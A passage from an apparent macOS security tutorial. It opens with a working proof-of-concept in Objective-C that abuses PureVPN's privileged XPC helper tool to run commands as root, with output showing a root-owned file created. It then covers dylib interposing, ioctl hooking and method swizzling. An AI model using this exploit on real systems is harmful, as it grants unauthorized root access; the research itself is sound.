<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>r14 = [rdi runCommand:@"/usr/bin/sudo" withArguments:rbx];
</code></pre></div></div>

<p>We can abuse it to esclate our priviliges, By executing commands as root.</p>

<h3 id="writing-the-exploit">Writing The Exploit</h3>

<p>The argument for the method offered by the <code class="language-plaintext highlighter-rouge">HelperTool</code> has the following arguments:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">(NSString *)arg1</code>: Which is a string (command).</li>
  <li><code class="language-plaintext highlighter-rouge">withArguments:(NSArray *)arg2</code>: The arguments for the command.</li>
  <li><code class="language-plaintext highlighter-rouge">usingSudo:(BOOL)arg3</code>: Argument to use sudo or no.</li>
  <li><code class="language-plaintext highlighter-rouge">withReply:(void (^)(BOOL))arg4;</code>: The XPC reply.</li>
</ul>

<h4 id="first-define-the-protocol-and-services-variable">First define the protocol and services variable</h4>

<pre><code class="language-Objc">#import &lt;Foundation/Foundation.h&gt;

// MachServices to connect to
static NSString* kXPCHelperMachService = @"com.purevpn.macapp.HelperTool";

// Protocol of HelperTool to be used
@protocol HelperToolProtocol
- (void)runWithCommand:(NSString *)arg1 withArguments:(NSArray *)arg2 usingSudo:(BOOL)arg3 withReply:(void (^)(BOOL))arg4;
- (void)setSecureDNSWithServiceId:(NSString *)arg1 withDNS:(NSArray *)arg2 WithReply:(void (^)(BOOL))arg3;
- (void)setMTUInterface:(NSString *)arg1 mtuValue:(NSString *)arg2 WithReply:(void (^)(BOOL))arg3;
- (void)disconnectSSTP:(void (^)(BOOL))arg1;
- (void)executeSudo:(NSArray *)arg1 WithReply:(void (^)(_Bool, NSString *, NSString *))arg2;
- (void)connectSSTP:(NSString *)arg1 withAccount:(NSString *)arg2 andPassword:(NSString *)arg3 Executable:(NSString *)arg4 mtuInterfaceValue:(NSString *)arg5 withReply:(void (^)(BOOL))arg6;
- (void)copyIPSECFiles:(NSArray *)arg1;
- (void)copySSTPFiles:(NSArray *)arg1;
- (void)executePreferencesRefInHelperToolWithReply:(void (^)(BOOL))arg1;
- (void)executeTestFunctionInHelperToolWithReply:(void (^)(BOOL))arg1;
- (void)getVersionsWithReply:(void (^)(NSString *))arg1;
- (void)deactivateOnStartupWithReply:(void (^)(BOOL))arg1;
- (void)activateOnStartupWithReply:(void (^)(BOOL))arg1;
- (void)removeAllRulesWithReply:(void (^)(BOOL))arg1;
- (void)setRules:(NSString *)arg1 withReply:(void (^)(BOOL))arg2;
- (void)setIpv6Leak:(BOOL)arg1 networkInterfaces:(NSArray *)arg2 withReply:(void (^)(BOOL))arg3;
- (void)executeVPNServiceConfigServer:(NSString *)arg1 withAccount:(NSString *)arg2 andPassword:(NSString *)arg3 andShareSecret:(NSString *)arg4 andType:(unsigned long long)arg5 HelperToolWithReply:(void (^)(NSString *, unsigned long long, int))arg6;
- (void)createXAuthKeyChainItemAuthorization:(NSData *)arg1 lable:(NSString *)arg2 forService:(NSString *)arg3 withPassword:(NSString *)arg4 withReply:(void (^)(NSError *))arg5;
- (void)createSharedSecretKeyChainItemAuthorization:(NSData *)arg1 lable:(NSString *)arg2 forService:(NSString *)arg3 withPassword:(NSString *)arg4 withReply:(void (^)(NSError *))arg5;
- (void)createPasswordKeyChainItemAuthorization:(NSData *)arg1 lable:(NSString *)arg2 forService:(NSString *)arg3 withAccount:(NSString *)arg4 andPassword:(NSString *)arg5 withReply:(void (^)(NSError *))arg6;
- (void)createServicesAuthorization:(NSData *)arg1 configObj:(NewVPNServiceConfig *)arg2 usingPreferencesRef:(SCPreferencesRef)arg3 withReply:(void (^)(NSError *))arg4;
- (void)testFunctionAppsAuthorization:(NSData *)arg1 configObj:(NewVPNServiceConfig *)arg2 usingPreferencesRef:(SCPreferencesRef)arg3 withReply:(void (^)(NSError *))arg4;
- (void)bindToLowNumberPortAuthorization:(NSData *)arg1 withReply:(void (^)(NSError *, NSFileHandle *, NSFileHandle *))arg2;
- (void)writeLicenseKey:(NSString *)arg1 authorization:(NSData *)arg2 withReply:(void (^)(NSError *))arg3;
- (void)readLicenseKeyAuthorization:(NSData *)arg1 withReply:(void (^)(NSError *, NSString *))arg2;
- (void)getVersionWithReply:(void (^)(NSString *))arg1;
- (void)connectWithEndpointReply:(void (^)(NSXPCListenerEndpoint *))arg1;
@end
</code></pre>

<h4 id="second-initialize-our-xpc-connection">Second initialize our XPC connection</h4>

<p>Now, We will start connecting to the service and exploit the method:</p>

<ul>
  <li>Initialize XPC connection for our MachServices</li>
</ul>

<pre><code class="language-Objc">int main(void) {

		
    NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:kXPCHelperMachService];
</code></pre>

<ul>
  <li>Initialize interface with the protocol</li>
</ul>

<pre><code class="language-Objc">    NSXPCInterface* interface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)];
</code></pre>

<ul>
  <li>Set the interface and Start the connection</li>
</ul>

<pre><code class="language-Objc">	[connection setRemoteObjectInterface:interface];
	[connection resume];
</code></pre>

<ul>
  <li>Define the connection object</li>
</ul>

<pre><code class="language-Objc">    id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError *error) {
        if (error) {
            NSLog(@"[+] Error: %@", error);
        }
    }];
</code></pre>

<ul>
  <li>Before calling the <code class="language-plaintext highlighter-rouge">runWithCommand</code> Method we need to define the arguments</li>
</ul>

<pre><code class="language-Objc">	// Define the command
	NSString* cmd = @"touch";
	
	// Define command arguments
	    NSArray* args = [NSArray arrayWithObjects:@"/tmp/zeyadazima.com", @"", nil];
</code></pre>

<ul>
  <li>Now, Call the method from the object</li>
</ul>

<pre><code class="language-Objc">    [obj runWithCommand:cmd withArguments:args usingSudo:YES withReply:^(BOOL err) {
        NSLog(@"[+] Reply, %d", err);
    }];
    
    return 0;
}
</code></pre>

<ul>
  <li>Results</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> ~ % <span class="nb">cd</span> /tmp   
/tmp % <span class="nb">ls
</span>com.apple.installerUHykChAa	powerlog
com.apple.launchd.l1jND8ppqA	tmp0000468a
/tmp % ./pure 
/tmp % <span class="nb">ls</span> <span class="nt">-l</span>
total 0
drwx------  3 zeyadazima.com_macenv  wheel  96 Jun 10 05:24 com.apple.installerUHykChAa
drwx------  3 zeyadazima.com_macenv  wheel  96 Jun 10 03:33 com.apple.launchd.l1jND8ppqA
drwxr-xr-x  2 root            wheel  64 Jun  8 09:10 powerlog
drwx------  3 root            wheel  96 Jun 10 05:25 tmp0000468a
<span class="nt">-rw-r--r--</span>  1 root            wheel   0 Jun 10 22:32 zeyadazima.com
</code></pre></div></div>

<p>We can see that the results shows that the file created successfully.</p>

<h1 id="macos-function-hooking">macOS Function Hooking</h1>

<h2 id="function-interposing">Function Interposing</h2>

<p>Function interposing on macOS is a technique that allows you to override or intercept calls to existing functions within dynamic libraries at runtime. This can be useful for various purposes, such as debugging, profiling, or altering the behavior of existing functions without modifying the source code. To create a dylib for function interposing, you need to add an <code class="language-plaintext highlighter-rouge">__interpose</code> section (or a section flagged with <code class="language-plaintext highlighter-rouge">S_INTERPOSING</code>) in the DATA segment of the <code class="language-plaintext highlighter-rouge">Mach-O</code> file. This section will contain pairs of function pointers linking the original and replacement functions. Then, use <code class="language-plaintext highlighter-rouge">DYLD_INSERT_LIBRARIES</code> to inject the dylib into the target application, as interposing must occur before the main application loads.</p>

<h3 id="how-function-interposing-works">How Function Interposing Works</h3>

<ol>
  <li><strong>Dynamic Linker and DYLD</strong>: macOS uses a dynamic linker (<code class="language-plaintext highlighter-rouge">dyld</code>) that handles the loading of dynamic libraries (<code class="language-plaintext highlighter-rouge">dylibs</code>) and the resolution of function addresses at runtime.</li>
  <li><strong>Interposing Functions</strong>: By using specific linker options and environment variables, you can tell dyld to replace certain function calls with your own implementations.</li>
  <li><strong>Interposing Dylib</strong>: You create a custom dynamic library that provides your versions of the functions you want to interpose.</li>
  <li><strong>Environment Variables</strong>: You set environment variables (e.g., <code class="language-plaintext highlighter-rouge">DYLD_INSERT_LIBRARIES</code>) to specify the path to your interposing dylib.</li>
</ol>

<h3 id="steps-to-implement-function-interposing">Steps to Implement Function Interposing</h3>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;fcntl.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdarg.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;dlfcn.h&gt;</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">my_open</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">path</span><span class="p">,</span> <span class="kt">int</span> <span class="n">oflag</span><span class="p">,</span> <span class="p">...)</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"Intercepted open call: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">path</span><span class="p">);</span>

    <span class="c1">// Call the original open function</span>
    <span class="kt">va_list</span> <span class="n">args</span><span class="p">;</span>
    <span class="n">va_start</span><span class="p">(</span><span class="n">args</span><span class="p">,</span> <span class="n">oflag</span><span class="p">);</span>
    <span class="kt">int</span> <span class="n">mode</span> <span class="o">=</span> <span class="n">va_arg</span><span class="p">(</span><span class="n">args</span><span class="p">,</span> <span class="kt">int</span><span class="p">);</span>
    <span class="kt">int</span> <span class="p">(</span><span class="o">*</span><span class="n">original_open</span><span class="p">)(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="p">,</span> <span class="kt">int</span><span class="p">,</span> <span class="p">...)</span> <span class="o">=</span> <span class="n">dlsym</span><span class="p">(</span><span class="n">RTLD_NEXT</span><span class="p">,</span> <span class="s">"open"</span><span class="p">);</span>
    <span class="n">va_end</span><span class="p">(</span><span class="n">args</span><span class="p">);</span>

    <span class="k">return</span> <span class="n">original_open</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="n">oflag</span><span class="p">,</span> <span class="n">mode</span><span class="p">);</span>
<span class="p">}</span>

<span class="n">DYLD_INTERPOSE</span><span class="p">(</span><span class="n">my_open</span><span class="p">,</span> <span class="n">open</span><span class="p">);</span>
</code></pre></div></div>

<p>let’’s explain our code here in steps:</p>

<ol>
  <li><strong>Define the Interposing Macro</strong></li>
</ol>

<p>Define the <code class="language-plaintext highlighter-rouge">DYLD_INTERPOSE</code> macro in your C file. This macro helps create an <code class="language-plaintext highlighter-rouge">__interpose</code> section in the Mach-O file.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define DYLD_INTERPOSE(_replacement, _replacee) \
    __attribute__((used)) static struct { \
        const void* replacement; \
        const void* replacee; \
    } _interpose_##_replacee __attribute__ ((section("__DATA,__interpose"))) = { \
        (const void*) (unsigned long) &amp;_replacement, \
        (const void*) (unsigned long) &amp;_replacee \
    };
</span></code></pre></div></div>

<ol>
  <li><strong>Implement the Custom <code class="language-plaintext highlighter-rouge">open</code> Function</strong></li>
</ol>

<p>Define your custom version of <code class="language-plaintext highlighter-rouge">open</code>. This function will replace the original <code class="language-plaintext highlighter-rouge">open</code> when the dylib is injected.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;fcntl.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdarg.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;dlfcn.h&gt;</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">my_open</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">path</span><span class="p">,</span> <span class="kt">int</span> <span class="n">oflag</span><span class="p">,</span> <span class="p">...)</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"Intercepted open call: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">path</span><span class="p">);</span>

    <span class="c1">// Call the original open function</span>
    <span class="kt">va_list</span> <span class="n">args</span><span class="p">;</span>
    <span class="n">va_start</span><span class="p">(</span><span class="n">args</span><span class="p">,</span> <span class="n">oflag</span><span class="p">);</span>
    <span class="kt">int</span> <span class="n">mode</span> <span class="o">=</span> <span class="n">va_arg</span><span class="p">(</span><span class="n">args</span><span class="p">,</span> <span class="kt">int</span><span class="p">);</span>
    <span class="kt">int</span> <span class="p">(</span><span class="o">*</span><span class="n">original_open</span><span class="p">)(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="p">,</span> <span class="kt">int</span><span class="p">,</span> <span class="p">...)</span> <span class="o">=</span> <span class="n">dlsym</span><span class="p">(</span><span class="n">RTLD_NEXT</span><span class="p">,</span> <span class="s">"open"</span><span class="p">);</span>
    <span class="n">va_end</span><span class="p">(</span><span class="n">args</span><span class="p">);</span>

    <span class="k">return</span> <span class="n">original_open</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="n">oflag</span><span class="p">,</span> <span class="n">mode</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<ol>
  <li><strong>Call the Interposing Macro</strong></li>
</ol>

<p>Use the <code class="language-plaintext highlighter-rouge">DYLD_INTERPOSE</code> macro to specify the replacement of <code class="language-plaintext highlighter-rouge">open</code> with <code class="language-plaintext highlighter-rouge">my_open</code>.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">DYLD_INTERPOSE</span><span class="p">(</span><span class="n">my_open</span><span class="p">,</span> <span class="n">open</span><span class="p">);</span>
</code></pre></div></div>

<ol>
  <li><strong>Compile the Interposing Dylib</strong></li>
</ol>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc <span class="nt">-dynamiclib</span> interpose.c <span class="nt">-o</span> interpose.dylib
</code></pre></div></div>

<ol>
  <li><strong>Verify the Interpose Section</strong></li>
</ol>

<p>Use the <code class="language-plaintext highlighter-rouge">size</code> command to verify the presence of the <code class="language-plaintext highlighter-rouge">__interpose</code> section in the compiled dylib.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>size <span class="nt">-x</span> <span class="nt">-m</span> <span class="nt">-l</span> interpose.dylib
</code></pre></div></div>

<p>Expected output should show an <code class="language-plaintext highlighter-rouge">__interpose</code> section in the <code class="language-plaintext highlighter-rouge">__DATA</code> segment.</p>

<ol>
  <li><strong>Inject the Dylib and Run the Application</strong></li>
</ol>

<p>Use the <code class="language-plaintext highlighter-rouge">DYLD_INSERT_LIBRARIES</code> environment variable to inject the interposing dylib into your application.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">export </span><span class="nv">DYLD_INSERT_LIBRARIES</span><span class="o">=</span>./interpose.dylib
<span class="nb">export </span><span class="nv">DYLD_FORCE_FLAT_NAMESPACE</span><span class="o">=</span>1
./your_application
</code></pre></div></div>

<pre><code class="language-mermaid">sequenceDiagram
    participant UserApp
    participant DYLD
    participant InterposeDylib
    participant OriginalLib

    UserApp-&gt;&gt;DYLD: Load UserApp
    DYLD-&gt;&gt;InterposeDylib: Load InterposeDylib
    InterposeDylib-&gt;&gt;OriginalLib: Load OriginalLib (if needed)

    UserApp-&gt;&gt;DYLD: Call open()
    DYLD-&gt;&gt;InterposeDylib: Redirect to interposing open()
    InterposeDylib-&gt;&gt;InterposeDylib: Print intercepted message
    InterposeDylib-&gt;&gt;OriginalLib: Call original open()
    OriginalLib--&gt;&gt;InterposeDylib: Return from open()
    InterposeDylib--&gt;&gt;UserApp: Return from open()
</code></pre>

<ol>
  <li><strong>Dynamic Linker and DYLD</strong>:
    <ul>
      <li>The user application (<code class="language-plaintext highlighter-rouge">UserApp</code>) is loaded by the dynamic linker (<code class="language-plaintext highlighter-rouge">DYLD</code>).</li>
    </ul>
  </li>
  <li><strong>Interposing Functions</strong>:
    <ul>
      <li>DYLD loads the interposing dynamic library (<code class="language-plaintext highlighter-rouge">InterposeDylib</code>) which contains the interposed function implementations.</li>
      <li>If necessary, <code class="language-plaintext highlighter-rouge">InterposeDylib</code> will also load the original library (<code class="language-plaintext highlighter-rouge">OriginalLib</code>).</li>
    </ul>
  </li>
  <li><strong>Environment Variables</strong>:
    <ul>
      <li>The environment variable (<code class="language-plaintext highlighter-rouge">DYLD_INSERT_LIBRARIES</code>) instructs DYLD to use the interposing dylib for specific function calls.</li>
      <li>When <code class="language-plaintext highlighter-rouge">UserApp</code> calls a function like <code class="language-plaintext highlighter-rouge">open</code>, DYLD redirects this call to the interposing function in <code class="language-plaintext highlighter-rouge">InterposeDylib</code>.</li>
      <li>The interposing function can perform additional actions (e.g., printing a message) before calling the original function from <code class="language-plaintext highlighter-rouge">OriginalLib</code>.</li>
      <li>The result of the original function is returned back through the interposing dylib to the user application.</li>
    </ul>
  </li>
</ol>

<h2 id="ioctl-interposing">IOCTL Interposing</h2>
<p>Interposing <code class="language-plaintext highlighter-rouge">ioctl</code> calls on macOS allows you to override or intercept calls to the <code class="language-plaintext highlighter-rouge">ioctl</code> function within dynamic libraries at runtime. This can be useful for purposes such as kernel driver fuzzing and analysis, debugging, profiling, or altering the behavior of existing functions without modifying the source code. To create a dylib for interposing <code class="language-plaintext highlighter-rouge">ioctl</code> calls, you need to add an <code class="language-plaintext highlighter-rouge">__interpose</code> section (or a section flagged with <code class="language-plaintext highlighter-rouge">S_INTERPOSING</code>) in the DATA segment of the <code class="language-plaintext highlighter-rouge">Mach-O</code> file. This section will contain pairs of function pointers linking the original and replacement functions. Then, use <code class="language-plaintext highlighter-rouge">DYLD_INSERT_LIBRARIES</code> to inject the dylib into the target application, as interposing must occur before the main application loads.</p>

<h3 id="how-interposing-ioctl-calls-works">How Interposing <code class="language-plaintext highlighter-rouge">ioctl</code> Calls Works</h3>

<ol>
  <li><strong>Dynamic Linker and DYLD</strong>: macOS uses a dynamic linker (<code class="language-plaintext highlighter-rouge">dyld</code>) that handles the loading of dynamic libraries (<code class="language-plaintext highlighter-rouge">dylibs</code>) and the resolution of function addresses at runtime.</li>
  <li><strong>Interposing Functions</strong>: By using specific linker options and environment variables, you can tell dyld to replace certain function calls with your own implementations.</li>
  <li><strong>Interposing Dylib</strong>: You create a custom dynamic library that provides your versions of the functions you want to interpose.</li>
  <li><strong>Environment Variables</strong>: You set environment variables (e.g., <code class="language-plaintext highlighter-rouge">DYLD_INSERT_LIBRARIES</code>) to specify the path to your interposing dylib.</li>
</ol>

<h3 id="steps-to-implement-interposing-ioctl-calls">Steps to Implement Interposing <code class="language-plaintext highlighter-rouge">ioctl</code> Calls</h3>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;sys/ioctl.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdarg.h&gt;</span><span class="cp">
</span>
<span class="cp">#define DYLD_INTERPOSE(_replacement, _replacee) \
__attribute__((used)) static struct { \
    const void* replacement; \
    const void* replacee; \
} _interpose_##_replacee __attribute__ ((section("__DATA,__interpose"))) = { \
    (const void*) (unsigned long) &amp;_replacement, \
    (const void*) (unsigned long) &amp;_replacee \
};
</span>
<span class="kt">int</span> <span class="nf">my_ioctl</span><span class="p">(</span><span class="kt">int</span> <span class="n">d</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">request</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">data</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"[+] IOCTL Request Information: 0x%x, 0x%lx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">d</span><span class="p">,</span> <span class="n">request</span><span class="p">);</span>
    <span class="k">return</span> <span class="p">(</span><span class="n">ioctl</span><span class="p">(</span><span class="n">d</span><span class="p">,</span> <span class="n">request</span><span class="p">,</span> <span class="n">data</span><span class="p">));</span>
<span class="p">}</span>

<span class="n">DYLD_INTERPOSE</span><span class="p">(</span><span class="n">my_ioctl</span><span class="p">,</span> <span class="n">ioctl</span><span class="p">);</span>
</code></pre></div></div>

<ol>
  <li><strong>Define the Interposing Macro</strong></li>
</ol>

<p>Define the <code class="language-plaintext highlighter-rouge">DYLD_INTERPOSE</code> macro in your C file. This macro helps create an <code class="language-plaintext highlighter-rouge">__interpose</code> section in the Mach-O file.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define DYLD_INTERPOSE(_replacement, _replacee) \
    __attribute__((used)) static struct { \
        const void* replacement; \
        const void* replacee; \
    } _interpose_##_replacee __attribute__ ((section("__DATA,__interpose"))) = { \
        (const void*) (unsigned long) &amp;_replacement, \
        (const void*) (unsigned long) &amp;_replacee \
    };
</span></code></pre></div></div>

<ol>
  <li><strong>Implement the Custom <code class="language-plaintext highlighter-rouge">ioctl</code> Function</strong></li>
</ol>

<p>Define your custom version of <code class="language-plaintext highlighter-rouge">ioctl</code>. This function will replace the original <code class="language-plaintext highlighter-rouge">ioctl</code> when the dylib is injected.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;sys/ioctl.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdarg.h&gt;</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">my_ioctl</span><span class="p">(</span><span class="kt">int</span> <span class="n">d</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">request</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">data</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"[+] IOCTL Request Information: 0x%x, 0x%lx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">d</span><span class="p">,</span> <span class="n">request</span><span class="p">);</span>
    <span class="k">return</span> <span class="p">(</span><span class="n">ioctl</span><span class="p">(</span><span class="n">d</span><span class="p">,</span> <span class="n">request</span><span class="p">,</span> <span class="n">data</span><span class="p">));</span>
<span class="p">}</span>
</code></pre></div></div>

<ol>
  <li><strong>Call the Interposing Macro</strong></li>
</ol>

<p>Use the <code class="language-plaintext highlighter-rouge">DYLD_INTERPOSE</code> macro to specify the replacement of <code class="language-plaintext highlighter-rouge">ioctl</code> with <code class="language-plaintext highlighter-rouge">my_ioctl</code>.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">DYLD_INTERPOSE</span><span class="p">(</span><span class="n">my_ioctl</span><span class="p">,</span> <span class="n">ioctl</span><span class="p">);</span>
</code></pre></div></div>

<ol>
  <li><strong>Compile the Interposing Dylib</strong></li>
</ol>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc <span class="nt">-dynamiclib</span> interpose.c <span class="nt">-o</span> interpose.dylib
</code></pre></div></div>

<ol>
  <li><strong>Verify the Interpose Section</strong></li>
</ol>

<p>Use the <code class="language-plaintext highlighter-rouge">size</code> command to verify the presence of the <code class="language-plaintext highlighter-rouge">__interpose</code> section in the compiled dylib.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>size <span class="nt">-x</span> <span class="nt">-m</span> <span class="nt">-l</span> interpose.dylib
</code></pre></div></div>

<p>Expected output should show an <code class="language-plaintext highlighter-rouge">__interpose</code> section in the <code class="language-plaintext highlighter-rouge">__DATA</code> segment.</p>

<ol>
  <li><strong>Inject the Dylib and Run the Application</strong></li>
</ol>

<p>Use the <code class="language-plaintext highlighter-rouge">DYLD_INSERT_LIBRARIES</code> environment variable to inject the interposing dylib into your application.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">export </span><span class="nv">DYLD_INSERT_LIBRARIES</span><span class="o">=</span>./interpose.dylib
<span class="nb">export </span><span class="nv">DYLD_FORCE_FLAT_NAMESPACE</span><span class="o">=</span>1
/App
</code></pre></div></div>

<p><img width="691" height="473" alt="image" src="https://github.com/user-attachments/assets/f86beb1e-ba95-406a-9ff6-4a390c3ab62b" /></p>

<h3 id="tips">TIPs</h3>

<ol>
  <li><strong>Segmentation Fault</strong></li>
</ol>

<p>If the application crashes with a segmentation fault, inspect the crash log to identify the cause. You might encounter an infinite loop if the interposed function calls another function that ends up calling back the interposed function.</p>

<ul>
  <li><strong>Crash Reports</strong></li>
</ul>

<p>User crash reports are typically located in the<code class="language-plaintext highlighter-rouge"> ~/Library/Logs/DiagnosticReports/ </code>directory. Each crash report file is named with the application name and a timestamp.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/Users/&lt;your_username&gt;/Library/Logs/DiagnosticReports/
</code></pre></div></div>

<ul>
  <li><strong>System Crash Reports</strong></li>
</ul>

<p>System crash reports are stored in the /Library/Logs/DiagnosticReports/ directory. These reports are accessible to all users with appropriate permissions.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/Library/Logs/DiagnosticReports/
</code></pre></div></div>

<ul>
  <li>Debugging</li>
</ul>

<p>Finally we could use <code class="language-plaintext highlighter-rouge">lldb</code>, To debug it.</p>

<ol>
  <li><strong>Avoiding Infinite Loops</strong></li>
</ol>

<p>To avoid infinite loops, ensure that your interposed function does not invoke the original function in a way that causes it to call back into your interposed function. For example, avoid using <code class="language-plaintext highlighter-rouge">printf</code> inside an interposed function if <code class="language-plaintext highlighter-rouge">printf</code> itself might invoke the original function.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">my_ioctl</span><span class="p">(</span><span class="kt">int</span> <span class="n">d</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">request</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">data</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">request</span> <span class="o">!=</span> <span class="n">request_id</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// Exclude specific request to avoid loop</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"[+] IOCTL Request Information: 0x%x, 0x%lx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">d</span><span class="p">,</span> <span class="n">request</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="p">(</span><span class="n">ioctl</span><span class="p">(</span><span class="n">d</span><span class="p">,</span> <span class="n">request</span><span class="p">,</span> <span class="n">data</span><span class="p">));</span>
<span class="p">}</span>
</code></pre></div></div>

<h2 id="objective-c-method-swizzling">Objective-C Method Swizzling</h2>

<p>Method swizzling is a technique used to change the implementation of an existing method at runtime. This is particularly useful in scenarios where you want to alter or extend the behavior of a method without modifying its original code. We’ll explore two techniques for method swizzling in <code class="language-plaintext highlighter-rouge">Objective-C</code>: using categories and using <code class="language-plaintext highlighter-rouge">C</code> functions.</p>

<h4 id="technique-1-using-categories">Technique 1: Using Categories</h4>

<p>In this example, we’ll hook the <code class="language-plaintext highlighter-rouge">length</code> method of the <code class="language-plaintext highlighter-rouge">NSString</code> class to log a message whenever it is called. This involves creating a new category for <code class="language-plaintext highlighter-rouge">NSString</code> and performing the swizzling.</p>

<p><strong>Step 1: Create a Category</strong></p>

<p>First, we create a new category for <code class="language-plaintext highlighter-rouge">NSString</code> called <code class="language-plaintext highlighter-rouge">NewNSString</code> and add our custom <code class="language-plaintext highlighter-rouge">custom_length</code> method.</p>

<p><strong>Code:</strong></p>

<div class="language-objc highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#import &lt;Foundation/Foundation.h&gt;
#import &lt;objc/runtime.h&gt;
</span>
<span class="k">@interface</span> <span class="nc">NSString</span> <span class="p">(</span><span class="nl">NewNSString</span><span class="p">)</span>
<span class="k">-</span> <span class="p">(</span><span class="n">NSUInteger</span><span class="p">)</span> <span class="n">custom_length</span><span class="p">;</span>
<span class="k">@end</span>

<span class="k">@implementation</span> <span class="nc">NSString</span> <span class="p">(</span><span class="nl">NewNSString</span><span class="p">)</span>

<span class="k">-</span> <span class="p">(</span><span class="n">NSUInteger</span><span class="p">)</span> <span class="n">custom_length</span> <span class="p">{</span>
    <span class="n">NSLog</span><span class="p">(</span><span class="s">@"Hooked the length method!"</span><span class="p">);</span>
    <span class="k">return</span> <span class="p">[</span><span class="n">self</span> <span class="nf">custom_length</span><span class="p">];</span> <span class="c1">// This will call the original length method after swizzling</span>
<span class="p">}</span>
<span class="k">@end</span>
</code></pre></div></div>

<ul>
  <li><strong>Category Declaration</strong>: We declare a category <code class="language-plaintext highlighter-rouge">NewNSString</code> for the <code class="language-plaintext highlighter-rouge">NSString</code> class, adding a new method <code class="language-plaintext highlighter-rouge">custom_length</code>.</li>
  <li><strong>Method Implementation</strong>: We implement <code class="language-plaintext highlighter-rouge">custom_length</code> to log a message before calling itself. Initially, this would cause an infinite loop, but after swizzling, it will call the original <code class="language-plaintext highlighter-rouge">length</code> method.</li>
</ul>

<p><strong>Step 2: Perform the Swizzling</strong></p>

<p>Next, we perform the actual swizzling by swapping the implementations of the original <code class="language-plaintext highlighter-rouge">length</code> method and our <code class="language-plaintext highlighter-rouge">custom_length</code> method.</p>

<p><strong>Code:</strong></p>

